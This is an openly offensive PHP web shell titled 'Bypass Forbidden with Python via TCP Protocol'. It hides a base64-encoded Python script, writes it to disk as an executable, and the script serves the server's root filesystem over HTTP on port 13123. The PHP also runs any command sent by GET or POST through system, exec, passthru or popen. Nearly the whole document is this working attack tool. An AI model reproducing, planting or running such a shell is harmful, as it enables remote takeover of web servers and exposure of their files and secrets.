[PHP] Bypass Forbidden with Python via TCP Protocol

<?php
@error_reporting(0);
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Forbidden with Python via TCP Protocol</span><center><br>';
echo '<p><font face="Tahoma" align="center" size="2" color="#007700"> Coded By ~Skidiot </font></p><br>';
echo '
<form method=get action="'.$me.'">
<p>
<textarea class="area" rows="17" name="S1" cols="70" >';
$shellw0rm = 'aW1wb3J0IFNpbXBsZUhUVFBTZXJ2ZXINCmltcG9ydCBTb2NrZXRTZXJ2ZXINCmltcG9ydCBvcw0KIA0KcG9ydCA9IDEzMTIzDQogDQppZiBfX25hbWVfXz09J19fbWFpbl9fJzoNCiAgICAgICAgb3MuY2hkaXIoJy8nKQ0KICAgICAgICBIYW5kbGVyID0gU2ltcGxlSFRUUFNlcnZlci5TaW1wbGVIVFRQUmVxdWVzdEhhbmRsZXINCiANCiAgICAgICAgaHR0cGQgPSBTb2NrZXRTZXJ2ZXIuVENQU2VydmVyKCgiIiwgcG9ydCksIEhhbmRsZXIpDQogDQogICAgICAgIHByaW50KCJOb3cgb3BlbiB0aGlzIHNlcnZlciBvbiB3ZWJicm93c2VyIGF0IHBvcnQgOiAiICsgc3RyKHBvcnQpKQ0KICAgICAgICBwcmludCgiZXhhbXBsZTogaHR0cDovL21haG8uY29tOiIgKyBzdHIocG9ydCkpDQogICAgICAgIGh0dHBkLnNlcnZlX2ZvcmV2ZXIoKQ==';
$file = fopen("pyProsym.py" ,"w+");
$write = fwrite ($file ,base64_decode($shellw0rm));
fclose($file);
chmod("pyProsym.py",0755);

if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){
echo $_GET['execmethod']($_GET['command']);}
if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){
echo $_POST['execmethod']($_POST['command']);}

if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){
popen($_GET['command'],"r");}

echo'</textarea></p><br>
<p><center>View Root Like This ===>  example: http://site.com:13123</center></p>
<p><center>Default port:13123</center></p>
<p><center>If you can launch this command from Back Connect it is more better \!/</center></p>
<br><p align="center">
<strong>Command: python pyProsym.py</strong><input type=hidden name="vw" size="50" value="cmd"> <input type="text" name="command" size="43"> <select name=execmethod>
<option value="system">System</option>  <option value="exec">Exec</option>  <option value="passthru">Passthru</option><option value="popen">popen</option>
</select> <input type="submit" value="Execute">
</p></form><br><br>';

?>